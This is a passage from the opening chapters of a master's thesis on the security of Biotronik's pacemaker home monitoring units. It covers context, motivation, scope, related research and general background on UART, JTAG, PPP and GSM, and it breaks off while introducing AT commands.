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Abstract

With the fast rise of Internet of Things (IoT), electronics systems
are more and more connected, exposing new attack surfaces on devices
responsible for human life, such as automobiles or medical devices. While
companies in these areas are keeping the internals of their devices closed-
source, the consumer or patient has no other choice than to trust the
manufacturers when it comes to their security. Pacemaker monitoring sys-
tems have been on the market for several years now and are no exception
to this rule. Previous research on the security of these monitoring systems
indicates that they often have vulnerabilities that can be exploited by
malicious adversaries in order to threaten the patient’s life and privacy.
This Master’s thesis investigates the security of the Biotronik’s Home
Monitoring Unit, motivated by the absence of publicly available research
on it. It was hypothesized that the Biotronik’s HMUs contain security
vulnerabilities that might help an attacker with physical access to the
device to get patients’ personal data or to be a threat to patients’ safety.
We conducted a Black Box Testing approach of the HMU’s security and
used off-the-shelves equipment along with open-source software to simu-
late the scenario of an external attacker having little knowledge about the
device. The details of our work will be provided to the vendor to follow
a coordinated vulnerability disclosure process. The research findings
confirm that an attacker having physical access to the HMU has the
ability to threaten both the patient’s privacy and safety. We also showed
that no special skills nor expensive equipments are required to perform
the attacks. Our technical findings open the door to more work on the
communication link between the HMU and the pacemaker, as long as
future work on Biotronik’s last generation of HMU. Our results also shed
light on the importance for medical device manufacturers to consider
security at every layer of their product and thus to include security as
part of their development cycle.





Sammendrag

Oppblomstringen av Internet of Things (IoT) har ført til at elekt-
roniske systemer har blitt mer or mer sammenkoblede, noe som åpner
opp for nye angrepsflater for enheter som er ansvarlige for menneskeliv,
for eksempel biler eller medisinsk utstyr. Leverandørene av slike enheter
holder detaljene rundt implementeringen for seg selv, slik at forbruke-
ren eller pasienten ikke har et annet valg enn å stole på produsentene
når det gjelder sikkerhet rundt produktet. Overvåkningssystemer for
pacemakere har vært på markedet i flere år og er ingen unntak fra det-
te. Tidligere forskning på sikkerheten rundt slike overvåkningssystemer
antyder at enhetene ofte inneholder sårbarheter som kan utnyttes av
ondsinnede angripere og dermed true pasientens liv og personvern. Denne
masteroppgaven tar for seg undersøkelser av sikkerheten rundt hjemme-
overvåkningsenheter (HMU) fra Biotronik, og er motivert av mangelen på
offentlig tilgjengelig forskning på disse enhetene. Hypotesen var at HMUer
fra Biotronik inneholder sårbarheter som kan hjelpe en angriper som har
fysisk tilgang til enheten til å få tak i persondata fra pasienter eller å være
en trussel mot pasientens sikkerhet. Vi gjennomførte tester av sikkerheten
rundt HMUene med en Black Box-tilnærming, og hyllevareutstyr ble
brukt sammen med opensource programvare for å simulere et scenario
med en ekstern angriper som hadde lite kunnskap om enheten. Detaljer
rundt arbeidet vårt vil bli videreformidlet til leverandøren. Funnene fra
forskningen bekrefter at en angriper med fysisk tilgang til en HMU, har
evnen til å true både pasientens konfidensialitet og sikkerhet. Vi viste
også at verken spesielle ferdigheter eller dyrt utstyr er nødvendig for
å utføre angrepene. Våre tekniske funn åpner dører for videre arbeid
rundt kommunikasjonskanalen mellom HMU og pacemakeren, i tillegg til
videre arbeid på siste generasjon av HMUer fra Biotronik. Vårt arbeid
kaster også lys på viktigheten av at produsenter av medisinsk utstyr tar
sikkerhet på alvor ved å inkludere det som en del av utviklingssyklusen.
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Chapter

1Introduction

1.1 Context

1.1.1 Medical devices definition

Defining what is a medical device is not an easy task. The US Food and Drug
Administration (FDA) defines a Medical Device as “an instrument, apparatus, im-
plement, machine, contrivance, implant, in vitro reagent, or other similar or related
article, including a component part or accessory which is: recognized in the official
National Formulary, or the United States Pharmacopoeia, or any supplement to
them, intended for use in the diagnosis of disease or other conditions, or in the
cure, mitigation, treatment, or prevention of disease, in man or other animals, or
intended to affect the structure or any function of the body of man or other animals,
and which does not achieve its primary intended purposes through chemical action
within or on the body of man or other animals and which is not dependent upon
being metabolized for the achievement of its primary intended purposes” [55]. This
definition is difficult to understand and while some devices are definitively included
in it (such as a pacemaker), others stand at the border like a treadmill for instance.
This question of knowing whether or not a device is considered as a medical device
can have an impact on the product itself as it will not require the same certifications
before going to the market.

Depending on their risk for patient safety, medical devices are classified by the
FDA into three classes, the class I being the one with the lowest risk on the patient
safety and class III the one with the greatest [55]. According to that classification,
a treadmill is be considered as a device belonging to class I while an Implantable
Cardioverter Defibrillator (ICD) is a class III device.1 Depending on the risk, the
device and the manufacturer, a notification to the FDA will be required to introduce

1According to the FDA search database available at https://www.accessdata.fda.gov/scripts/
cdrh/cfdocs/cfPCD/classification.cfm

1

https://www.accessdata.fda.gov/scripts/cdrh/cfdocs/cfPCD/classification.cfm
https://www.accessdata.fda.gov/scripts/cdrh/cfdocs/cfPCD/classification.cfm
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such a device to the US market. For other devices (typically class III devices), a
premarket approval might be required.

Currently, in the European Union (EU), three different directives need to be
followed by medical devices, but these directives have been issued in the nineties and
are going to be replaced by two new regulations that have been adopted in April
2017 [17]. These new regulations will enter in force in spring 2020. According to
the European Commission, these new directives will improve the safety of medical
devices by introducing “stricter pre-market controls for high-risk devices”, “more
transparency” and “strengthened post-market surveillance” to quote but a few. The
cybersecurity aspect is also taken into account in that new regulation. Indeed,
new requirements regarding information security are developed in Annex I of the
paper, entitled “General Safety and Performance Requirements” [18]. Minimum
requirements for a medical device in terms of IT security are given, along with
principles that must be included in the product development’s cycle, information
security and risk evaluation being part of those. Also, the possible risks due to a
malicious interaction with the device should be anticipated.

1.1.2 Principle of an ICD

An ICD is a medical device implanted in the patient’s body to control patient’s
heartbeats, usually in case of arrhythmia.2 ICDs are used for patients with strong
arrhythmia, i.e. those whom condition can lead them to faints or even cardiac arrests.
The device monitors the patient’s heart rate and sends an electrical pulse when it
detects an anomaly [53].

A ICD is presented in Figure 1.1. The device is of the size of a credit card and
has one, two or three wires that are called leads. As explained by the Texas Heart
Institute, a pulse generator along with other electronic circuits and a battery are
contained inside the implant [53]. The difference between a pacemaker and an ICD
is that an ICD can deliver shocks, while pacemakers only correct the heart’s rhythm
with small electrical stimuli. The shocks delivered by an ICD can be felt by the
patient, and he is usually asked by his doctor to report when he got one or more.
From now on, we will use only to the term “pacemaker” to refer to both “pacemakers”
and “ICD” as both use the same communication protocol with the HMU.

Having to report and then to visit the doctor each time an event occurs can be
annoying for patients. That is why pacemaker’s manufacturers have connected the
devices wirelessly. That way, a patient can use an external device to gather the data

2According to the National Heart, Lung, and Blood Institute, “an arrhythmia is a problem with
the rate or rhythm of the heartbeat. During an arrhythmia, the heart can beat too fast, too slowly,
or with an irregular rhythm. When a heart beats too fast, the condition is called tachycardia. When
a heart beats too slowly, the condition is called bradycardia.” [40]



1.1. CONTEXT 3

Figure 1.1: Picture of the pacemaker in our lab

from his pacemaker during the night and automatically send them to a server where
the doctor can see them. That allows the doctor to be alerted faster in case of a
problem and prevent the patient from unnecessary visits.

1.1.3 The pacemaker’s ecosystem

An Implantable Medical Device (IMD) is usually not functioning on its own and
requires a whole ecosystem around it to make it work correctly and efficiently. This
ecosystem is composed of multiple devices which, for the Biotronik’s pacemaker
ecosystem we are studying, are the following:

The pacemaker Implanted in the patient’s body, this is the main device of the
ecosystem. It generates an electric impulse that helps regulate the heart rate.
Programmable pacemakers allow practitioners to select the appropriate pacing
for every patient.

The programmer The programmer is an external computer used by a practitioner
at the hospital to program the pacemaker. This device requires proximity
with the pacemaker, which is achieved thanks to the programming head. The
communication remains wireless though.

The Home Monitoring Unit The HMU is a device aiming at easing the patient’s
life by preventing them from visiting their practitioners too often. Indeed,
placed in the patient’s home, this device is in charge of downloading the data
from the pacemaker and sending to the vendor’s servers for the practitioner to
access them remotely.

The Operator Network The HMU needs a way to access the internet in order to
communicate with the vendor’s servers. Depending on the HMU (see below),
the internet can be accessed using a mobile network such as GSM or 3G but
also using a regular telephone line.
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Vendor’s Servers These are the servers the HMU connects to in order to export
the patient’s data. This is achieved using the operator network. These servers
can be accessed by the practitioner through an online platform.

Operator
Network

Vendor’s servers

Doctor

Programmer

HMU

Pacemaker

Patient

Figure 1.2: Diagram of the vendor’s pacemaker ecosystem.

Several versions of the HMU exist and can be used with multiple pacemakers
from the same vendor. Also, the programmer is designed to be used with several
pacemaker from Biotronik. We have five main types of HMU of that vendor in our
lab. They do not have all the same functionalities and the attack surfaces might be
different from one to another. The five HMU’s types are the following:

• CardioMessenger LLT

• CardioMessenger LLT II

• CardioMessenger II-S GSM

• CardioMessenger II-S TLine

• CardioMessenger 3G Smart

The CardioMessenger LLT, LLT II, II-S GSM and 3G Smart are using a mobile
network to communicate with the Biotronik’s Services Center while the CardioMes-
senger II-S TLine is using a regular telephone line.
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1.2 Motivation

Implantable Medical Device are devices implanted inside the human body to help the
patient and prevent life-threatening conditions. Implantable devices such as insulin
pumps are a real game changer for people suffering from diabetes as they monitor
and regulate the insulin level for the patient, preventing them to do blood analysis
multiple times a day. Regarding pacemakers, 1.14 Million devices were implanted in
2016, and it is estimated that this number will reach 1.43 Million by 2023.3 These
devices aim at improving patients’ lives and are more and more connected with that
purpose in mind. The HMU is a good example as it prevents patients from having
to visit their practitioner too often as the relevant data is automatically sent to the
cloud and the practitioner is warned in case of a suspicious event.

Contributing to securing medical devices is the main reason we are interested in
this specific topic. Security of such medical devices has not been publicly debated as
a real concern until recently. IMD vendors tend to base part of the device security
by practising “security by obscurity.” That means that most of the technology
and protocols used in the IMD ecosystem are proprietary and kept secret. This is,
however, very bad practice in security and it is understandable that patients want
to know on what technology and security mechanisms their lives rely. Hence, the
case opposing St. Jude Medical to Muddy Waters, MedSec Holdings et al, in the
United States District Court for the District of Minnesota in 2016 [44], shed the
light on the fact that medical devices manufactured by one of the biggest medical
companies can be unsecured and have some vulnerabilities that, if exploited, can
have disastrous consequences on the patient’s life [10]. Even though St. Jude Medical
claimed that Muddy Waters and MedSec Holdings et al. acted with financial interests,
investigations revealed that vulnerabilities in St. Jude Medical’s devices are a reality.
As a result, the FDA issued a security notification affecting 465,000 pacemakers in
the US [19]. A firmware update was required. Another example, the WannaCry
ransomware4 that stroke the world in May 2017 also impacted medical services. The
National Health Service in the UK has been completely stuck and the UK parliament
detailed in a report published in 2018 how patients had to be moved in order to get
their surgery and how 20,000 appointments had to be postponed or cancelled due to
the shutdown of the IT systems [41]. Those two examples demonstrate well how a
cyber-attack can put human lives at stake. Scenarios in which an attacker can hack
an ICD and threaten their victim’s life is not fictional anymore. One can wonder if
an attack on an IMD might ever occur and it is true that the probability of such a
targeted attack is low. In fact, no cyber-attack has been publicly recorded against
a medical device. This is particularly true for an ordinary person but some “high

3According to www.statista.com
4A ransomware is a malicious software that blocks some data (usually by using encryption) and

ask a ransom to be paid in exchange of the decryption key.

www.statista.com
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valuable” targets might be concerned. In fact, some of these people have already
taken some precautions against that kind of attacks. Dick Cheney for instance,
the former Vice President of the United States asked his doctor to disable the
wireless functionality of his pacemaker [43]. His fear is understandable given the
ingenuity used by some security agencies around the world to assassinate targets (the
assassination of Georgi Markov in 1978 in London, to name only this one). It is hard
to believe they haven’t thought about hacking medical devices or already used it.

Working on this topic is also motivated by the fact that the IoT is developing
fast and will have more and more impact in the future. Trade-offs and challenges to
secure those embedded devices with small energy capability are similar to the one
met with securing IMD. Security guidelines used in the IoT world could be useful
for developing more secure IMD and vice-versa. Moreover, human beings are more
connected using phones, smartwatches, sensors, etc. and it is only a matter of time
before the technology is integrated into the human body. It is then crucial to design
those devices with security in mind (“secure by design”) and not to reproduce the
mistakes that have been done too often in the past, such as considering obfuscation
as a viable security technique.

Finally, this project stands at the border between information security and
medicine, raising multiple ethical questions. It lets us think not only about our
relationship with technology but also about the future of this relation. Technology
is evolving faster than ever and prostheses might become connected and intelligent,
becoming thereby new targets for attackers. Dealing with IMD security also raises
the dilemma between safety and security which must be considered by security
researchers in order to provide new innovative solutions that also provide adequate
security levels. Researchers conceiving new medical devices will have to face the same
dilemma as the one met in autonomous driving. Indeed, designing such equipments
that can have impacts on human lives also requires to make choices and design
decisions that can have fatal issues. This topic is discussed in Chapter 6.

1.3 Scope of the project

As mentioned in 1.1, an IMD rarely runs on its own and depends on a whole
ecosystem. This ecosystem might contain multiple other devices and machines, from
a programmer in the hospital to a whole cloud-based architecture, to handle the
gathered data and allow monitoring. Our project is focusing on one element of
that ecosystem which is the HMU. This device, even though it is not compulsory,
is really interesting in terms of security as it directly interacts with the IMD and
handles the patient’s data. Most importantly, it has been proven that an HMU can
be transformed into a “weapon” and a threat to a patient’s life, by using it to drain
the pacemaker’s battery [46].
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Operator Network

HMU

Pacemaker

Scope 1

Scope 2

Scope 3

Figure 1.3: Scopes around the HMU

Our project is also focusing on one specific brand of IMD, which is Biotronik.
To our knowledge, there are a very few published research papers on that vendor’s
products, even though it is one of the four most used vendor in Norway in 2017
regarding pacemakers and ICD [26]. That is mainly why we are focusing on that
vendor. The equipment we got has mainly been acquired through eBay and donations.

As presented in 1.1.3, the Biotronik’s HMU is interacting not only with the
pacemaker but also with Biotronik’s servers. Three main attack surfaces can be
outlined here and are presented in Figure 1.3:

Scope-1 The interface between the HMU and Biotronik’s servers.

Scope-2 The HMU itself as a standalone embedded device.

Scope-3 The interface between the HMU and the pacemaker

Focusing on the three scopes in a single master thesis was not possible and
that is why, in this project, we decided to focus on the HMU itself, i.e. scope 2.
Our original goal was to study all five types of HMU and compare their level of
security. However, we focus our research mainly on the CardioMessenger II-S in both
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its versions (Global System for Mobile communications (GSM) and TLine). Some
testing has been performed on the other ones, but this remains superficial.

The interface between the HMU and Biotronik’s servers using the Mobile network
is studied by Anniken Lie this semester [34]. Their project aims at developing a
fake base station to spoof a real base station for the HMU (scope 1) and perform a
security tests based on this lab set-up.

Even though our scopes are distinct, many collaborations took place between our
projects. Indeed, our findings on the CardioMessenger TLine and GSM along with
the Fake Base Station set up by Lie allowed us to perform more interactions with
the devices. We also provided Lie with the results of some of our hardware testing.
These additional results are described more in detail in Section 4.5.

1.4 Hypothesis and research questions

The HMU is part of the pacemaker’s ecosystem and is interacting with it in order to
monitor the patient’s heart. It might then contain personal data of the patient, but
might also be used to perform attacks attempting to the patient’s safety as it has
already been proven in previous studies [46]. Given that, it is vital that the HMU,
as part of the ecosystem, is secure.

Our main hypothesis is that the Biotronik’s HMUs contain security vulnerabilities
that might help an attacker with physical access to the device to get patients’ personal
data or to be a threat to patients’ safety..

Based on that assumption and on our motivations, we define three main questions
for our work to be a contribution to the security of the pacemaker ecosystem.

Q1 Are the vendor’s HMUs secured regarding the patient’s safety?

Q2 Are the vendor’s HMUs secured regarding the patient’s privacy?

Q3 What can vendors systematically do to improve their devices’ security?

Answering these questions points out two main objectives:

O1 Testing the vendor’s HMUs against multiple hypotheses to determine if they
can be used to attempt on the patient’s safety or to steal confidential data.

O2 Defining a framework/methodology to assess embedded devices interacting
with IMD.
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1.5 Structure of the thesis

Chapter 1 presents the context and scope of our research along with the motivations
to work on the topic of medical devices. In Chapter 2, we provide the reader with
information regarding the previous studies that have been performed on medical
devices. The technical background useful to understand the results of our work is
also provided. The methodology of our research is explained in Chapter 3 along with
the ethical issues that must be considered when working in an area where human’s
lives are at stake.

Chapter 4 gives an overview of our results on the HMU security. We detail
our findings along with their impact on the ecosystem. Countermeasures and best
practices are outlined in Chapter 5. Chapter 6 sheds the light on the impact of our
work but also on the remaining problems in the medical devices and more generally
in the IoT sphere. Future work and leads for future work on the vendor’s ecosystem
are also presented in that chapter. Chapter 7 summarizes and concludes our work.

For the sake of readibility, methodologies and procedures related to the config-
urations used during the security assessment have been explained in Appendix A.
Tools developed during this Master’s Thesis are available in Appendix B. Finally,
detailed listings encountered during our research are presented in Appendix C.
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2Background

2.1 Related work

Although IMD exist since the sixties [8], their security has only been a concern for the
last decade. Back in 2008, Halperin et al. [24] performed radio-based attacks against
a commercial pacemaker. Using Software Defined Radio (SDR) they managed to
partially reverse-engineer the proprietary protocol used on the communication link
between a programmer and a pacemaker. With that knowledge, they were able to
show that it is possible to compromise both patient’s privacy and safety. Their work
has been the foundation for many others that contribute to the improvement of IMD
ecosystems security.

Two types of approaches exist when it comes to analyzing the pacemaker ecosys-
tem. The first one aims at giving an overview of the problem with a high level of
abstraction. The global security of the different pacemaker ecosystems is analyzed,
and the challenges are highlighted. General solutions are also proposed to guide IMD
companies to produce more secure devices.

Camara et al. [13] give an overview of the security objectives regarding IMDs
along with the current protections that have been developed. They also highlight
the fact that multiple constraints exist around the development of a medical device
ecosystem. Energy, storage, computing and communication are some limitations of
those devices. In their review of the medical devices’ ecosystems, Zheng et al. [59]
reach the same conclusions regarding the trade-offs that exist in the pacemaker
ecosystem. The first constraint would be the security vs the accessibility. Indeed,
the devices should not threaten the patient’s life, especially if an urgent surgery is
required and the pacemaker must be deactivated. Also, securing checkup access
while having emergency access is a challenge. The pacemaker cannot be accessed the
same way in both situations and the battery life of the device must be taken into
account. Finally, the limited resources of the IMD are opposed to the implementation
of strong security requirements. Cryptographic computations require power, and this

11
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can be abused by an attacker to launch Denial of Service (DoS) attacks, leading to
surgery for the patient to replace the battery, which could threaten the patient’s life.
Those papers help us to understand what are the challenges of securing pacemaker
ecosystems. They also provide us with a good overview of the attackers’ profiles
along with their motivations. Those challenges and trade-offs are further discussed
in Chapter 6.

Some research focuses on a specific device and/or specific vendor. The goal of
these papers is to show the (in)security of medical devices by demonstrating the
feasibility of the attacks and their impact on the patient in terms of safety and
privacy.

A technical report from Bishop Fox [11] about the case opposing St Jude Medical
to Muddy Waters in 2016 gives an overview of the flaws that have been discovered
on one of the St Jude Medical’s HMU and on the impact these vulnerabilities have
on the pacemaker ecosystem. As detailed in the report, using discovered flaws, they
were able to fully compromise the HMU and to launch attacks against the pacemaker,
potentially causing a threat to the patient’s life. They also describe a scenario in
which it would be possible to compromise multiple devices and to launch large-scale
attacks against pacemakers leading to disastrous consequences. Even though some
parts of the report have been redacted for a security reason, it still gives an overview
of the attack vectors used and the methodology they have used to implement and
verify some attacks. Marin [36], while not targeting a specific brand or device in
his paper, gives technical details on how to implement attacks against IMDs. He
describes known attacks against IMDs such as hardware-related attacks and provides
us with methodologies that can be used in a reverse engineering process. Finally, he
gives indications of the existing solutions to develop secure IMD ecosystems.

Some papers and articles present more interest in our project as they can be
used as a foundation for our work. Rios and Butts [46] evaluated the security of
four different HMUs from four different vendors. Vendors are not explicitly cited,
but we can guess that one of them is the vendor we are studying by comparing
the pictures of the HMUs’ boards. This information was helpful when we had to
identify possible attack vectors. The authors are indeed testing multiple attacks
and access methodologies to the HMUs. They also give a list of questions that
aims at helping vendors evaluating the security of their ecosystem when developing
it. Those questions have been used as both a start in the attack phase and as the
foundation for the testing guide detailed in Chapter 5. Marin [36], as explained
in the paragraph above, gives multiple information regarding IMD security and
his article is recent, meaning that the information he gives is not outdated. He
describes methods used for reverse-engineering and for firmware extraction along
with the tools and the precautions to take. In their Master’s Thesis, Kristiansen and



2.1. RELATED WORK 13

Wilhelmsen [33] already worked on the vendor’s pacemaker ecosystem. Their work
constitutes, in fact, a foundation for our project. While they have focused their study
on the programmer, the results they have obtained could have led to discoveries on
the HMU. Indeed, one of the contributions of their thesis is a virtual machine of the
programmer, which means that it can be used to reverse-engineer protocols used
between the programmer and HMU for instance. Indeed, according to Block [11],
implementations can sometimes be the same between those two entities. More
recently, Marin et al. [37] have disclosed new vulnerabilities on ICDs security. The
research focuses on the communication channel between the ICD and the programmer
and they were able to successfully reverse engineer the communication protocol used.
As a result, they managed to activate an ICD and to launch privacy attacks, DoS
attacks along with spoofing and replay attacks.

Last but not least, Borgaonkar et al. [12] interest themselves in femtocell security
testing. Even though it is not directly linked to the IMD ecosystem security, a
femtocell is an embedded system and in that, assessing its security presents similarities
with the HMU security testing, especially regarding the approach. In their paper,
they are first studying the security of the femtocell and then the impact of the
vulnerabilities they found on the whole system, including the end-user and the
operator. Both these entities exist as well in the pacemaker ecosystem, being
the patient and the vendor’s infrastructure. Their approach is then particularly
interesting for us and has been reproduced partially as explained more in detail
in Chapter 3.Another aspect of the research of Borgaonkar et al. [12] is the usage
of an end-device to attack the core network. Using physical level vulnerabilities,
they were able to get root access on the femtocell and thus to target the network.
This highlights the need for vendors to consider physical access as a possible attack
vector. This is indeed a very common way for attackers to breach an infrastructure.
Already in 1999, Kocher et al. [31] performed differential power analysis on a smart
card and were able to gather secret information such as cryptographic keys or PIN
code. Physical layer security should always be considered in IoT device, as they can
also constitute a second stage vulnerability, i.e. a vulnerability that is used in a
second time. Indeed, an attacker who can gain access to a system remotely using a
breach in a remote system could potentially escalate her privileges using a physical
vulnerability discovered through physical analysis of the device. This threat has
been proven real by Miller and Valasek [39] when they hacked a 2014 Jeep Cherokee
and demonstrated that “a remote compromise of a vehicle could result in sending
messages that could invade a driver’s privacy and perform physical actions on the
attacker’s behalf”. Security researchers at Baidu will present in August 2019 their
work about 4G modem security. According to their abstract, all 4G modems have
vulnerabilities, from remote access with weak passwords to command injection by
SMS [49]. These vulnerabilities linked to hardware vulnerabilities on an IoT device,
and more specifically on automotive and medical devices, can have a significant
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impact.

Since the initial work conducted by Halperin et al. in 2008, researchers started to
study the security of IMDs, putting lights on that topic and leading agencies and
organizations such as the FDA or MITRE to come up with standards and guidelines
regarding IMDs implementation of security [6, 5]. However, multiple devices already
implanted do not meet those requirements and may lack of security, threatening their
owner’s life. Several research has studied vulnerabilities in HMUs and their impact
on the pacemaker’s ecosystem security but to our best knowledge, the paper of Rios
and Butts and the one of Kristiansen and Wilhelmsen are the only research that
describe attacks against Biotronik’s products.

2.2 Summary of the Contributions

Our research investigates the security level of Biotronik’s HMUs and evaluates the
impact of a compromised HMU on patients’ safety and privacy. We propose a
Black Box Testing approach to the security of the CardioMessenger II-S, based
on the assumptions that the attacker has low budget equipment and very little
knowledge about the system. To our best knowledge, this thesis hereby describes the
first known vulnerabilities in the Biotronik’s CardioMessenger II-S. The discovered
vulnerabilities can be chained to impact both patients’ safety and privacy and raise
several ethical concerns about the security level in medical devices today. Moreover,
these vulnerabilities lie in almost all layers of the device and do not have easy
remediations for boards already deployed. We still describe mitigation solutions
and guidelines that help in raising the overall security level of an embedded device.
Finally, we discuss the remaining problems in the medical device area and in IoT in
general.

2.3 Technical background

This section aims at providing the reader with some technical background information
that is useful to understand the results of our work as well as their implications.

2.3.1 UART communications

A Universal Asynchronous Receiver-Transmitter (UART) is a hardware component
often directly included in microcontrollers that enable the chip to use serial commu-
nications. It means that the UART will take a value on a data bus and send it over
a serial line. The communication takes place using at least two signals (Tx and Rx)
and is full duplex. It is also important to note that there is no clock signal, which is
not the case in other common communication protocols such as the Serial Peripheral
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Interface (SPI) or Inter-Integrated Circuit (I2C). The configuration has to be done
by the user.

UART 1 UART 2

Tx

Rx

Gnd

Rx

Tx

Gnd

Figure 2.1: Communication between two UART

A UART “packet” is composed of the following elements:

– 1 start bit

– 5 to 8 bits of data (9 if no parity bit is used)

– 0 or 1 parity bit (odd or even)

– 1 or 2 stop bit(s)

As explained above, there is no clock signal, and both UARTs must be configured
to use the same Baud rate. The Baud rate is the speed at which data can be
transferred and is expressed in bits per second. Common Baud rates are 9 600, 57 600
or 115 200. Figure 2.2 shows the relation between the bit period and the Baud rate.

bit period =
1

Baud rate

Start bit Bit 1 Bit 2

Bit period

Figure 2.2: Relation between the bit period and the Baud rate

It is also important in the context of this thesis to know that when no data is
sent or received on Tx and Rx, those lines are held “high”.

Using UART communication has several advantages. There is no clock signal, only
three wires (Tx, Rx and GND) are required and some error checking is implemented.
Also, it is well documented and easy to use. Drawbacks exist as well. Indeed, the
size of the data frame is limited and there is no slave support. Finally, the Baud rate
must be set within 10% on each UART for the decoding to work properly.
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In some case, UART pins are labelled on the board and it is easy to establish
a connection with the device. However, finding the UART pins can sometimes be
challenging as some vendors try to hide them. The methodology used in this thesis
to determine the UART pins is described in Chapter 4.

2.3.2 JTAG

JTAG, or “IEEE Standard Test Access Port and Boundary-Scan Architecture”, is an
industry standard used to perform integrated circuit testing [4, 29]. With Printed
Circuit Board (PCB) being more and more complex and composed of multiple layers,
testing circuits using the traditional bed of nails was not convenient anymore. That
is why this new standard was developed.

As explained by Rath, JTAG-compliant devices have one Instruction Register
(IR), several Data Registers (DR) and a Test Access Port (TAP) Controller that
handles the test operations [45]. Scan cells connected to a component’s inputs and
outputs allows boundary scans: the output signal of a component is connected to
the input of the next one, creating a serial shift register [45]. Table 2.1 presents the
different signals that are defined in JTAG.

Signal Acronym Description

Test Data Input TDI The data that goes in the component

Test Data Output TDO The data that goes out of the component

Test Mode Select TMS The signal that controls the JTAG state-
machine (presented in Figure 2.3)

Test Clock TCK The Clock signal (going in the component)

Test Reset nTRST1 The reset signal (optional)

Table 2.1: Description of the JTAG signals

Many of microcontroller’s manufacturers are building debug features on top of
JTAG. This is the case for the microcontroller we are studying the most in this thesis.
It is featured with the support for JTAG-ICE. That has several advantages such as
the support for both hardware and software breakpoints but also single stepping.
One can have the full control over a microcontroller and more generally over a device
if connected through JTAG. Indeed, it is then possible to sometimes read and write
memory, modify the value of the Computer Processing Unit (CPU) registers, etc.
From now on we will only refer to those debug features as JTAG.

When explaining what is JTAG, we also have to mention Serial Wire Debug
(SWD) which “replaces the 5-pin JTAG port with a clock and single bi-directional

1The “n” in nTRST means it is a negative logic: active when low.
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Figure 2.3: The JTAG state machine [35]

data pin, providing all the normal JTAG debug and test functionality plus real-time
access to system memory without halting the processor or requiring any target
resident code.”2 In this thesis, we were able to connect using SWD but were mostly
using JTAG.

Determining if there is a JTAG interface and what is the pinout can be harder
than determining the UART pins if the former is not labelled on the board. The
detailed methodology we followed to achieve this is described in Chapter 4.

2As described by ARM on https://developer.arm.com/architectures/cpu-architecture/
debug-visibility-and-trace/coresight-architecture/serial-wire-debug

https://developer.arm.com/architectures/cpu-architecture/debug-visibility-and-trace/coresight-architecture/serial-wire-debug
https://developer.arm.com/architectures/cpu-architecture/debug-visibility-and-trace/coresight-architecture/serial-wire-debug
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2.3.3 Internet access for embedded devices

When one wants to connect an embedded device to the internet, many solutions
exist: Dial-up, the Digital Subscriber Line (DSL), Wi-Fi or the Mobile broadband to
quote only but a few. How one can get access to the internet over Dial-up and over
GSM is further explained in the following subsections. First and foremost, we need
to introduce the concept of DTE and DCE.

A Data Terminal Equipment (DTE) is a piece of equipment that lays at the end
of the data link and handles the user information. A computer can be a DTE for
example. A Data Communication Equipment (DCE) is a device connecting a DTE
to the actual circuit like a telephone line. The way those two devices are interacting
is described below and represented in Figure 2.4.

The RS-232 standard

The Recommended Standard 232 (RS-232) is a communication standard used to
connect a computer to another device, usually a modem. It has been designed
in the sixties to standardized data exchange for modems and electromechanical
typewriters [3]. This standard does not define any encoding, data framing nor error
detection and that is why it is combined with UART communications. Figure 2.4
shows the way a DTE and a DCE are inter-connected.

DTE DCE

UART UART

Telephone
Line

RS-232

Figure 2.4: Connection between a DTE and a DCE

Dial-up Internet Access

When one has a device that needs an internet connection, Dial-up used to be a
convenient solution. It is a way to transfer data using the Public Switched Telephone
Network (PSTN). The data line is provided by a modem who calls the Internet
Service Provider (ISP) and is in charge of establishing the connection. However, even
though the device is able to exchange data at this point, it is not able to interact
with the internet (that means to exchange IP packets) because there is no data link
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layer and IP packets cannot be sent directly over the telephone line. A protocol
called the Point-to-Point Protocol (PPP) can be used to solve that problem. That
way, the device is provided with an IP by the ISP (usually inside a Virtual Private
Network (VPN)). It can then interact with other devices in the same network or on
the internet if available.

PPP is a data link layer protocol that has been conceived to be implemented over
“links [that] provide full-duplex simultaneous bi-directional operation and are assumed
to deliver packets in order” [2]. The telephone line meets those requirements. PPP
can handle multiple higher protocols, and notably Internet Protocol (IP). According
to the Request for Comments (RFC), PPP has three main components [2]:

– A method for encapsulating multi-protocol datagrams.

– A Link Control Protocol (LCP) for establishing, configuring, and testing the
data-link connection.

– A family of Network Control Protocols (NCPs) for establishing and configuring
different network-layer protocols.

Knowing the implementation details of PPP is not necessary to understand our work,
but we truly recommend to the interested readers to have a look at the excellent
books from Carlson and Sun on the subject [14, 52].

In the context of this thesis, we have a closer look at the services that are offered
by PPP to the upper layers. More specifically, we are interested in the way a
connection is established using a modem.

Not all the modems work the same way and support the same functionalities.
Establishing a connection between two DTE still requires some steps that one can
find in every connection processes. If for example, a device A wants to exchange
data with a device B, it will first set up its modem. Once configured, it will ask for
a connection by providing the modem with the number of the device to call. The
called device’s modem will be notified by a ring and notify device B of the call. That
last one can accept or reject the call. If accepted, the modems are now connected
and can start exchanging data. One of the devices can decide to close the connection
by sending special characters on the line. Figure 2.5 shows the different steps.

Once a layer 2 connection is established, data can be exchanged between two
DTE. It is then possible to have an IP/TCP stack. It is worth mentioning that
the TCP/IP stack can be either on the DTE or on the modem depending on the
configuration and of the available feature on that latter one. Recent modems are
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DTE A DCE A DCE B DTE B

Configuration

Start connection
Connected

Data
Data

Connection stopped

Ring
Answer

Data
Data

Close connection

Ring
Answer

Connected

Data
Data

Stop connection
Ok

Figure 2.5: Data exchange’s sequence diagram between two DTE

also able to handle higher layer protocols such as the Simple Mail Transfer Protocol
(SMTP) or the File Transfer Protocol (FTP).

Internet access over GSM

GSM was designed with voice calls in mind. It is a circuit-switched network, which
means that resources are reserved at the beginning of a session and released at the
end. The circuit for a given session is then fixed and all bits of information will follow
it. That has several advantages, such as having a constant bandwidth and delay
time which suits well with voice calls [47]. However, it does not fit as good with
applications that have various bandwidth usage (browsing the web is an example).

A solution to that problem was to introduce a packet-switched network instead of
the circuit-switched one. General Packet Radio Service (GPRS) was introduced for
that purpose. Sauter [47] explained that GPRS was “designed as a packet-switched
addition to the circuit-switched GSM network”. With that addition come multiple
advantages such as faster access to the internet, but also the ability for the consumers
to be charged for a volume of data and not for a time. Even though it is possible to
send IP packets over a “regular” GSM network, it takes more time due to the fixed
circuit that is used before reaching a packet-switched network.

When accessing the network, the device is provided with an IP address inside the
ISP’s network that allows it to communicate with other devices in that network and
also to access the internet.
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Hayes command set

Hayes command set or “AT commands” as they will be referred to in this thesis,
are a set of commands developed in the eighties to interact with modems. They are
used to configure and give instructions to such a device, for example, the command
